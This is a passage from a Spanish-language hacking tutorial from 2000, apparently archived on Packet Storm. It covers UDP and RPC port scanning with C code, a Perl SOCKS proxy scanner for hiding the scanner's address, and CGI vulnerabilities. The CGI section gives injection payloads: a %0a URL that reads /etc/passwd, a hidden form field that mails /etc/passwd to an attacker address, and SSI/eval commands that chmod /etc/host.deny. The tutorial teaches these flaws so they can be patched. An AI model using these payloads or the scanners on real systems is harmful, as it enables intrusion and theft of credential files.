printf("udpsock not set for writing port %d!", ntohs(her.sin_port));
return target->ports;
}
if (bytes <= 0) {
if (errno == ECONNREFUSED) {
retries = 10;
do {
printf("sendto said connection refused on port %d but trying again
anyway.\n", ntohs(her.sin_port));
usleep(icmperrlimittime);
bytes = sendto(udpsock, senddata, sizeof(senddata), 0,
(struct sockaddr *) &her, sizeof(struct sockaddr_in))
;
printf("This time it returned %d\n", bytes);
} while(bytes <= 0 && retries-- > 0);
}
if (bytes <= 0) {
printf("sendto returned %d.", bytes);
fflush(stdout);
perror("sendto");
}
}
if (bytes > 0 && i > tmp) {
num_out++;
outports[i] = portarray[j-1];
}
}
}
usleep(sleeptime);
tmp = listen_icmp(icmpsock, outports, numtries, &num_out, target->host, &targ
et->ports);
if (o.debugging) printf("listen_icmp caught %d bad ports.\n", tmp);
done = !portarray[j];
for (i=0,k=0; i < o.max_sockets; i++)
if (outports[i]) {
if (++numtries[i] > max_tries - 1) {
if (o.debugging || o.verbose)
printf("Adding port %d for 0 unreachable port generations\n",
outports[i]);
addport(&target->ports, outports[i], IPPROTO_UDP, NULL);
num_out--;
outports[i] = numtries[i] = 0;
}
else {
done = 0;
outports[k] = outports[i];
numtries[k] = numtries[i];
if (k != i)
outports[i] = numtries[i] = 0;
k++;
}
}
if (num_out == o.max_sockets) {
printf("Numout is max sockets, that is a problem!\n");
sleep(1);
}
}

/* si analizas este fragmento de codigo (copia un poco mas
grande de lo normal, pero es que es mas entendible asi. Puedes
observar que se repite el proceso varias veces; dado el problema de
que algunas veces los paquetes ICMP de error no nos lleguen a
nosotros, asi es una forma de asegurarse. Ademas, puedes ver que en
todo, si falla algo, te devuelve justamente el error. Lo mejor es que
analices tu mismo el codigo. */

...

if (o.debugging || o.verbose)
printf("The UDP raw ICMP scanned %d ports in %ld seconds with %d parallel so
ckets.\n", o.numports, time(NULL) - starttime, o.max_sockets);
close(icmpsock);
close(udpsock);
return target->ports;
}

/* final de la funcion, devuelve puertos, saca en pantalla
datos del escaneo, etc. */


Escaneo UDP basado en recvfrom() y write(): este metodo arregla
el problema de que los errores ICMP de port unreachable solo puedan
ser leidos por el root. Para saber si ha sido recibido un error de
ICMP basta con usar recvfrom() y se recibira ECONNREFUSED ("Connection
refused", errno 111) si se ha recibido y EAGAIN("Try Again", errno 13)
si no se ha recibido.
Un ejemplo de este metodo implementado en C lo encontramos
nuevamente en nmap.

portlist lamer_udp_scan(struct hoststruct *target, unsigned short *portarray) {

/* inicio de funcion que implementa este metodo, no voy a
copiar las definiciones de variables e inicializacion del primer
socket. Si quieres verlo completo revisa las fuentes de nmap por
ejemplo /nmap-1.49/nmap.c */

...


if (o.wait) sleeptime = o.wait;
else sleeptime = calculate_sleep(target->host) + 60000;
if (o.verbose || o.debugging)
printf("Initiating UDP scan against %s (%s), sleeptime: %li\n", target->name,
inet_ntoa(target->host), sleeptime);
starttime = time(NULL);

/* temporizador/saca en pantalla que se inicia el escaneo */

...

for(i = 0 ; i < o.max_sockets; i++)
trynum[i] = portno[i] = 0;
while(portarray[j]) {
for(i=0; i < o.max_sockets && portarray[j]; i++, j++) {
if (i >= last_open) {
if ((sockets[i] = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP)) == -1)
{perror("datagram socket troubles"); exit(1);}
block_socket(sockets[i]);
portno[i] = portarray[j];
}
her.sin_port = htons(portarray[j]);
bytes = sendto(sockets[i], data, sizeof(data), 0, (struct sockaddr *) &her,
sizeof(struct sockaddr_in));
usleep(5000);
if (o.debugging > 1)
printf("Sent %d bytes on socket %d to port %hi, try number %d.\n",
bytes, sockets[i], portno[i], trynum[i]);
if (bytes < 0 ) {
printf("Sendto returned %d the FIRST TIME!@#$!, errno %d\n", bytes,
errno);
perror("");
trynum[i] = portno[i] = 0;
close(sockets[i]);
}
}

/* envio de datos al puerto a escanear. Comprueba por ti mismo
el codigo */

last_open = i;
/* Might need to change this to 1e6 if you are having problems*/
usleep(sleeptime + 5e5);
for(i=0; i < last_open ; i++) {
if (portno[i]) {
unblock_socket(sockets[i]);
if ((bytes = recvfrom(sockets[i], response, 1024, 0,
(struct sockaddr *) &stranger,
&sockaddr_in_size)) == -1)
{
if (o.debugging > 1)
printf("2nd recvfrom on port %d returned %d with errno %d.\n",
portno[i], bytes, errno);
if (errno == EAGAIN /*11*/)
{
if (trynum[i] < 2) trynum[i]++;
else {
if (RISKY_UDP_SCAN) {
printf("Adding port %d after 3 EAGAIN errors.\n", portno[i]);
addport(&target->ports, portno[i], IPPROTO_UDP, NULL);
}
else if (o.debugging)
printf("Skipping possible false positive, port %d\n",
portno[i]);
trynum[i] = portno[i] = 0;
close(sockets[i]);
}
}
else if (errno == ECONNREFUSED /*111*/) {
if (o.debugging > 1)
printf("Closing socket for port %d, ECONNREFUSED received.\n",
portno[i]);
trynum[i] = portno[i] = 0;
close(sockets[i]);
}
else {
printf("Curious recvfrom error (%d) on port %hi: ",
errno, portno[i]);
perror("");
trynum[i] = portno[i] = 0;
close(sockets[i]);
}
}
else /*bytes is positive*/ {
if (o.debugging || o.verbose)
printf("Adding UDP port %d due to positive read!\n", portno[i]);

addport(&target->ports,portno[i], IPPROTO_UDP, NULL);
trynum[i] = portno[i] = 0;
close(sockets[i]);
}
}
}

...

/* Update last_open, we need to create new sockets.*/
for(i=0, k=0; i < last_open; i++)
if (portno[i]) {
close(sockets[i]);
sockets[k] = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
/* unblock_socket(sockets[k]);*/
portno[k] = portno[i];
trynum[k] = trynum[i];
k++;
}
last_open = k;
for(i=k; i < o.max_sockets; i++)
trynum[i] = sockets[i] = portno[i] = 0;
}

/* observa en este fragmento de codigo como se cumple a la perfeccion
la teoria de explicacion de este metodo. Me parece un codigo bastante
simple de analizar asi que mirate todos los if's y lo entenderas
perfectamente (siempre que tengas conocimientos de TCP/IP/C */

...

if (o.debugging)
printf("UDP scanned %d ports in %ld seconds with %d parallel sockets\n",
o.numports, (long) time(NULL) - starttime, o.max_sockets);
return target->ports;
}

/* fin de la funcion, datos sobre el escaneo, devuelve puertos */

Escaneo de servicios RPC: es relativamente facil hacer un scan
de los puertos que ofrecen servicios rpc, bastante rapido y en la
mayoria de los casos no se dejan logs en el host remoto. Pero, debido
a que han sido descubiertas bastantes vulnerabilidades en estos
servicios ciertos sysadmins han optado por bloquear el acceso a este
tipo de servicios. Al referirme a RPC lo hago a ONC RPC y no DCE RPC
RPC es un sistema basado en query <-> reply. Despues de enviar el
numero del programa en el que estas interesado, el numero de
procedimiento, algun argumento, autentificacion y otros parametros del
host remoto obtienes lo que el procedimiento devuelve o algunas
indicaciones de porque fallo.

Pero, antes tenemos que saber que puertos UDP estan
abiertos, asi que se usara un connect() para saberlo (como se explico
anteriormente) y obtendremos un ICMP de PORT_UNREACH en caso de que no
este a la escucha.

Para que RPC fuese portable todos los argumentos son
traducidos a XDR, que es un lenguaje de data encoding que se parece un
poco a Pascal (rfc1832). Los programas RPC tienen varios
procedimientos pero aun uno que siempre existe, es el procedimiento
0. Este, no admite argumentos y no devuelve ningun valor.. (void
rpcping()void). Y de esta forma es como determinaremos el puerto en el
que se encuentra un programa, llamaremos al procedimiento ping.

A continuacion, te presento un codigo de halflife (gracias,
halflife halflife@infonexus.com) en el que se consigue hacer esto:


<++> RPCscan/Makefile
CC=gcc
PROGNAME=rpcscan
CFLAGS=-c

build: checkrpc.o main.o rpcserv.o udpcheck.o
$(CC) -o $(PROGNAME) checkrpc.o main.o rpcserv.o udpcheck.o

checkrpc.o:


$(CC) $(CFLAGS) checkrpc.c

main.o:
$(CC) $(CFLAGS) main.c

rpcserv.o:
$(CC) $(CFLAGS) rpcserv.c

udpcheck.o:
$(CC) $(CFLAGS) udpcheck.c

clean:
rm -f *.o $(PROGNAME)
<-->
<++> RPCscan/checkrpc.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/time.h>
#include <sys/socket.h>
#include <rpc/rpc.h>
#include <netdb.h>

extern struct sockaddr_in *saddr;

int
check_rpc_service(long program)
{
int sock = RPC_ANYSOCK;
CLIENT *client;
struct timeval timeout;
enum clnt_stat cstat;
timeout.tv_sec = 10;
timeout.tv_usec = 0;
client = clntudp_create(saddr, program, 1, timeout, &sock);
if(!client)
return -1;
timeout.tv_sec = 10;
timeout.tv_usec = 0;

cstat = RPC_TIMEDOUT;
cstat = clnt_call(client, 0, xdr_void, NULL, xdr_void, NULL, timeout);
if(cstat == RPC_TIMEDOUT)
{
timeout.tv_sec = 10;
timeout.tv_usec = 0;
cstat = clnt_call(client, 0, xdr_void, NULL, xdr_void, NULL, ti
meout);
}
clnt_destroy(client);
close(sock);
if(cstat == RPC_SUCCESS)
return 1;
else if(cstat == RPC_PROGVERSMISMATCH)
return 1;
else return 0;
}
<-->
<++> RPCscan/main.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int check_udp_port(char *, u_short);
int check_rpc_service(long);
long get_rpc_prog_number(char *);
#define HIGH_PORT 5000
#define LOW_PORT 512

main(int argc, char **argv)
{
int i,j;
long prog;
if(argc != 3)
{
fprintf(stderr, "%s host program\n", argv[0]);
exit(0);
}
prog = get_rpc_prog_number(argv[2]);
if(prog == -1)

{
fprintf(stderr, "invalid rpc program number\n");
exit(0);
}
printf("Scanning %s for program %d\n", argv[1], prog);
for(i=LOW_PORT;i <= HIGH_PORT;i++)
{
if(check_udp_port(argv[1], i) > 0)
{
if(check_rpc_service(prog) == 1)
{
printf("%s is on port %u\n", argv[2], i);
exit(0);
}
}
}
}
<-->
<++> RPCscan/rpcserv.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <netdb.h>
#include <ctype.h>
#include <rpc/rpc.h>

long
get_rpc_prog_number(char *progname)
{
struct rpcent *r;
int i=0;

while(progname[i] != '\0')
{
if(!isdigit(progname[i]))
{
setrpcent(1);
r = getrpcbyname(progname);
endrpcent();
if(!r)
return -1;
else return r->r_number;
}
i++;
}
return atoi(progname);
}
<-->
<++> RPCscan/udpcheck.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <netdb.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/param.h>
#include <sys/time.h>
#include <sys/errno.h>
extern int h_errno;

struct sockaddr_in *saddr = NULL;

int
check_udp_port(char *hostname, u_short port)
{
int s, i, sr;
struct hostent *he;
fd_set rset;
struct timeval tv;
if(!saddr)
{
saddr = malloc(sizeof(struct sockaddr_in));
if(!saddr) return -1;

saddr->sin_family = AF_INET;
saddr->sin_addr.s_addr = inet_addr(hostname);
if(saddr->sin_addr.s_addr == INADDR_NONE)
{
sethostent(1);
he = gethostbyname(hostname);
if(!he)
{
herror("gethostbyname");
exit(1);
}
if(he->h_length <= sizeof(saddr->sin_addr.s_addr))
bcopy(he->h_addr, &saddr->sin_addr.s_addr, he->
h_length);
else
bcopy(he->h_addr, &saddr->sin_addr.s_addr, size
of(saddr->sin_addr.s_addr));
endhostent();
}
}
saddr->sin_port = htons(port);
s = socket(AF_INET, SOCK_DGRAM, 0);
if(s < 0)
{
perror("socket");
return -1;
}
i = connect(s, (struct sockaddr *)saddr, sizeof(struct sockaddr_in));
if(i < 0)
{
perror("connect");
return -1;
}
for(i=0;i < 3;i++)
{
write(s, "", 1);
FD_ZERO(&rset);
FD_SET(s, &rset);
tv.tv_sec = 5;
tv.tv_usec = 0;
sr = select(s+1, &rset, NULL, NULL, &tv);
if(sr != 1)
continue;
if(read(s, &sr, sizeof(sr)) < 1)
{
close(s);
return 0;
}
else
{
close(s);
return 1;
}
}
close(s);
return 1;
}
<-->

Escaneo a traves de proxy: una opcion bastante interesante
para que aunque el escaneo de puertos en realidad sea detectable por
el host remoto pero detecte la direccion del proxy a traves del cual
hacemos el escaneo y no la nuestra. Un ejemplo de codigo en perl de
aplicacion de esta tecnica lo tienes a continuacion:

/* extraido de Socks Scan V. 2.0 by ICEHOUSE <icehouse@salix.org> */

...

#!/usr/bin/perl
use strict;
use Net::SOCKS;

/* necesario, claro esta, para el correcto funcionamiento del
programa */

...

print "Socks Scan by ICEHOUSE\n" ;
print "OK we have ..\n";
print "Host To Scan --> @ARGV[0]\n";
print "End Port --> @ARGV[1]\n";
print "Socks Server --> @ARGV[2]\n";
print "Using Protocol --> @ARGV[3]\n";

/* saca en pantalla los argumentos pasados por el usuario */

...


my ($s);
for ($s; $s <= @ARGV[1]; $s++)
{
my $sock = new Net::SOCKS(socks_addr => @ARGV[2],
socks_port => 1080,
protocol_version => @ARGV[3]);
my $f= $sock->connect(peer_addr => @ARGV[0], peer_port => $s);

if ($sock->param('status_num') == SOCKS_OKAY) {
print "Port $s is OPEN\n";
$sock->close();
}
}

/* Como puedes comprobar esta tecnica es de facil
implementacion en lenguaje perl, que en cierto modo, en gran numero de
veces es mas sencillo para la programacion simple para redes */



III Relacion de principales servicios con puertos. Daemons.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Dado el gran numero de servicios que puede ofrecer una maquina
(/etc/services). No me parece del todo logico agregar a este manual
hojas y hojas de documentacion sobre todos los servicios, ya que
tampoco es el proposito de este manual el enseñar el tipo de servicios
que hay, que se supone que un usuario de linux medio/avanzado ya lo
sabe, sino más bien el analisis remoto del sistema en si. Te
recomiendo que leas TCP/IP Illustrated vol. 1 y 2, Internetworking
with TCP/IP vol. 1 y 2 y TCP/IP Network Administration; todos ellos
los podras encontrar en www.amazon.com.

Solo quiero puntualizar que en base a los resultados obtenidos
con un buen escaneador de puertos y un programa que averigüe el
sistema operativo es facil analizar los citados servicios obtenidos
por cada puerto y los daemons instalados. Por otra parte, es más que
recomendable estar al día en packetstorm.securify.com o
securityfocus.com en lo que se refiere a las vulnerabilidades de los
citados daemons, para así poder parchearlas.

Aun asi, recomiendo la lectura de papers o libros (como ya he
dicho anteriormente) para tener una vision clara de esto. En realidad
este capitulo del manual no era uno de mis objetivos a cumplir al
escribirlo ya que creo que ya esta muy bien documentado.

Para lo que si que voy a dedicar un capitulo dada su
importancia y su generalizado uso en el contexto actual es para los
CGIs.


CGIs
~~~~

Inicialmente, voy a explicar un poco el problema en lo que se
refiere a vulnerabilidades de los scripts CGIs para despues presentar
ejemplo de software que puede ser utilizado para encontrar este tipo
de vulnerabilidades tan comunes y al mismo tiempo peligrosas.

CGI significa Common Gateway Interface. Actualmente su uso en
todo tipo de sistemas es normal y el lenguaje de programacion que voy
a adoptar para los mismos es PERL, por tanto asumo cierto conocimiento
del lenguaje PERL por el lector (si no lo tienes ya sabes :),
Programming Perl de Larry Wall, Tom Christiansen y Jon Orwat de
Ed. O'Reilly es un buen comienzo). Aunque se pueden usar en sistemas
win* yo trataré el caso de sistemas unix, por ser en los que tengo más
experiencia.

CGI permite la comunicacion entre programas cliente y
servidores que operan con http, siendo el protocolo en el que se lleva
a cabo esta comunicacion TCP/IP y el puerto el 80 (privilegiado) pero
se especifican otros puertos no privilegiados.

Hay dos modos basicos en los que operan los scripts CGIs:

# Permitir el proceso basico de datos que han sido pasados
mediante un input. Lease scripts que por ejemplo chequean la correcta
sintaxis de documentos HTML

# Actuar como conducto de los datos que son pasados del
programa cliente al servidor y devueltos del servidor al
cliente. Lease script que por ejemplo actuan como frontend de una base
de datos del servidor.

Los scripts CGI, en realidad, ademas de PERL (lenguaje
interprete de programacion) se puede usar TCL, shell script (de unix)
y AppleScript en lo que se refiere a este tipo de lenguajes, pero
tambien se pueden usar lenguajes de programacion compilables y
lenguajes de scripting. Pero usare PERL ya que los lenguajes
interpretados son mas faciles de analizar y cambiar que los programas
compilados por razones obvias.

Los tres metodos aplicable a programas CGI que voy a presentar
son Post, Get y Put. para saber lo que hace cada uno, puedes leer las
espeficaciones HTTP 1.0.

Las vulnerabilidades de los scripts CGI no estan propiamente
en ellos mismos sino en las especificaciones http y los programas de
sistema; lo unico que permite CGI es acceder a citadas
vulnerabilidades.

Mediante ellos un servidor puede sufrir lectura remota de
archivos, adquisicion de shell de forma ilegal y modificacion de
ficheros del sistema asi que es cierto que hay que analizar bien este
tipo de programas, ya que como ves se pone en peligro la integridad
del sistema. Por lo tanto en un analisis remoto de un sistema es muy a
tener en cuenta este tipo de vulnerabilidades.

El primer problema de dichos scripts en la falta de validacion
suficiente en el input del usuario, que conlleva ciertos
problemas. Los datos pasados mediante un script CGI que use Get estan
puestos al final de una url y estos son tratados por el script como
una variable de entorno llamada QUERY_STRING, con muestras de la forma
variable=valor. Los llamados 'ampersands' separan dichas muestras (&),
y junto con los caracteres no alfanumericos deben de ser codificados
como valores hexadecimales de dos digitos. Todos ellos, viene
precedidos por el signo % en la url codificada. Es el script CGI el
tiene que borrar los caracteres que han sido pasados por el usuario
mediante input, por ejemplo, si se quieren borrar los caracteres < o >
y cosas asi de un documento html:

/* este ejemplo pertenece a Gregory Gillis */

{$NAME, $VALUE) = split(/=/, $_);
$VALUE =~ s/\+/ /g; # reemplaza '+' con ' '
$VALUE =~ s/%([0-9|A-F]{2})/pack(C,hex,{$1}}/eg; # reemplaza %xx con ASCII
$VALUE =~ s/([;<>\*\|'&\$!#\(\)\[\]\{\}:"])/\\$1/g; #borra caracs especiales
$MYDATA[$NAME} = $VALUE;

Pero, hay una cosa que no hace este pequeño ejemplo, no se es
consciente de la posibilidad de crear una nueva linea mediante %0a que
se puede usar para ejecutar comandos diferentes de los del script. Por
ejemplo, se podria hacer lo siguiente, de no caer en la cuenta de esta
vulnerabilidad:

http://www.ejemplo.com/cgi-bin/pregunta?%0a/bin/cat%20/etc/passwd

%20 es un espacio en blanco y %0a como se ha especificado
anteriormente es una especie de return.

Digamos que el frontend que hay en una pagina web para llamar
a un script CGI es un formulario. En todo formulario tiene que haber
un input, este input tiene un nombre asociado que digamos es lo ya
expuesto anteriormente variable=valor. Para una cierta seguridad, los
contenidos del input deben de ser filtrados y por tanto los caracteres
especiales deben de ser filtrados a diferencia del ejemplo comentado
anteriormente. Los scripts CGI interpretados que fallan en la
validacion de los datos pasan los dichos datos del input al
interprete.

Otra etiqueta frecuente en los formularios es la select. Esta,
permite al usuario elegir una serie de opciones, y dicha seleccion va
justo despues de variable=valor. Pasa como con el input, de fallar la
validacion se asume que dicha etiqueta solo contiene datos
predefinidos y los datos son pasados al interprete. Los programas
compilados que no hacen una validacion semejante son igualmente
vulnerables.

Otro de las vulnerabilidades muy frecuentes es el hecho de que
si el script llama al programa de correo de unix, y no filtra la
secuencia '~!' esta puede ser usada para ejecutar un comando de forma
remota ya que el programa de correo permite ejecutar un comando de la
forma '~!command', de nuevo, el problema de filtrado esta presente.

Por tora parte, si encuentras una llamada a exec() con un solo
argumento esta puede ser usada para obtener una puerta de acceso. En
el caso de abrir un fichero por ejemplo, se puede usar un pipe para
abrir una shell de la forma:

open(FICHERO, "| nombre_del_programa $ARGS");

Continuando con funciones vulnerables, si encuentras una
llamada de la forma system() con un solo argumento, esta puede ser
usada como puerta de acceso al sistema, ya que el sistema crea una
shell para esto. Por ejemplo:

system("/usr/bin/sendmail -t %s < %s, $mail < $fichero");

/* supongo que te imaginaras:
<INPUT TYPE="HIDDEN" NAME="mail"
VALUE="mail@remotehost.com;mail mail@atacante.com; < /etc/passwd">
*/


Scripts CGIs que pasan inputs del usuario al comando eval
tambien se pueden aprovechar, puesto que:


$_ = $VALOR
s/"/\\"/g
$RESULTADO = eval qq/"$_"/;

Asi, si por ejemplo $VALOR contiene algun comando malicioso,
el resultado para el servidor remoto puede ser bastante malo.

Es muy recomendable revisar que los permisos de fichero son
correctos y por ejemplo de usar la libreria cgi-lib, cosa muy normal
esta debe de tener los correspondientes permisos ya que sino
estariamos ante otra vulnerabilidad. Para chequear estos permisos, se
haria de la forma generica: "%0a/bin/ls%20-la%20/usr/src/include". Si
se llegase a copiar, modificar y reemplazar dicha libreria se podrian
ejecutar comandos o rutinas de forma remota, con lo que conlleva
eso. Ademas, si el interprete de PERL utilizado por el cgi es SETUID,
sera posible modificar permisos de los ficheros que quieras pasando un
comando directamente al sistema a traves del interprete, y asi por
ejemplo:

$_ = "chmod 666 \/etc\/host.deny"
$RESULT = eval qq/"$_"/;

Esto es gracias a SSI y la mayoria de los sysadmins
competentes tendrian que desactivarlo. Para saber si un server utiliza
esto se haria de la siguiente forma:

<!--#command variable="value" -->

<!--#exec cmd="chmod 666 /etc/host.deny"-->

Te recomiendo la lectura de Perl CGI problems by rfp (phrack
55) para tener una vision mas completa del problema, ya que analiza
mas fallos de seguridad de CGIs.

Actualmente, hay escaneadores de CGIs en los que se han
descubierto vulnerabilidades, que en muchos casos son de este tipo, o
de otros mas complejos que tampoco me parece factible explicarlos en
un paper de este tipo. A continuacion te presento algunos de los
escaneadores de vulnerabilidades CGIs que me parecen mas completos (en
este apartado simplemente nombrare los especificos de CGIs y no
aquellos escaners de tipo vetescan que entre sus funcionalidades
añadidas esta este tipo de escaneo):

- whisker by rain forest puppy
http://www.wiretrip.net/rfp/
- voideye by duke
http://packetstorm.securify.com/UNIX/cgi-scanners/voideye.zip
- ucgi by su1d sh3ll:
http://infected.ilm.net/unlg/
- Tss-cgi.sh
http://www.team-tss.org
- Cgichk
http://sourceforge.net/projects/cgichk/
- cgiscanner.pl (de raza mexicana)
http://packetstorm.securify.com/UNIX/scanners/cgiscanner.pl

Destacar, que para mi, el mejor de los citados es el whisker de rfp :)
Y bueno, se acabo.


3. Bibliografia y agradecimientos
==============================

Bibliografia:
~~~~~~~~~~~~~
TCP/IP Illustrated vol. 1 by Richard Stevens
Remote OS detection via TCP/IP Stack FingerPrinting by Fyodor
BIND 8.2 - 8.2.2 *Remote root Exploit How-To* by E-Mind
The Art of Port Scanning by Fyodor
Port Scanning without the SYN flag by Uriel Maimon
Port Scanning; A Basic Understanding by John Holstein
Intrusion Detection Level Analysis of Nmap and Queso by Toby Miller
Scanning for RPC Services by halflife
CGI Security Holes by Gregory Gillis

Gracias a los canales:
~~~~~~~~~~~~~~~~~~~~~~
#networking, #hack, #hackers y #linux @ irc-hispano.org.
#hax, #phrack, #spain y #localhost @ efnet.

Gracias por ser como son a las personas:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
icehouse, nunotreez, iceman, merphe, madj0ker, zhodiac,
yomismo, pib/kempo, codex, yandros, darkcode, show, mixter, fyodor,
juliano rizzo, billsucks, jcea, yaw, karlosfx, iphdrunk, satch, pci,
doing, lyw0d, graffic, padre, surfing, savage, ulandron, bladi, dab,
n0mada, norwegian, kahuna, yuanca, ripe, ucalu, xphase3x, slayer, jfs,
stk, zer0-enna, pip0, ppp0, no-ana, sirlance, brainbug, zc|||, f`,
pip, bonjy, ca|n/wildcore, koge, voodoo, anony, kerberos, thewizard,
inetd, yeyun0, cp, nemona, tdp, rvr, ln_/l0gin, odd, bijoux,
route/daemon9, logistix, ampire, gov-boi... y tambien todos aquellos
que me he olvidado.

Y gracias a ti por haber leido este documento.

Sun Dec 31 17:11:59 CET 2000

-honoriak

"callar es asentir, no te dejes llevar"

Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    0 Files
  • 18
    Apr 18th
    0 Files
  • 19
    Apr 19th
    0 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    0 Files
  • 23
    Apr 23rd
    0 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close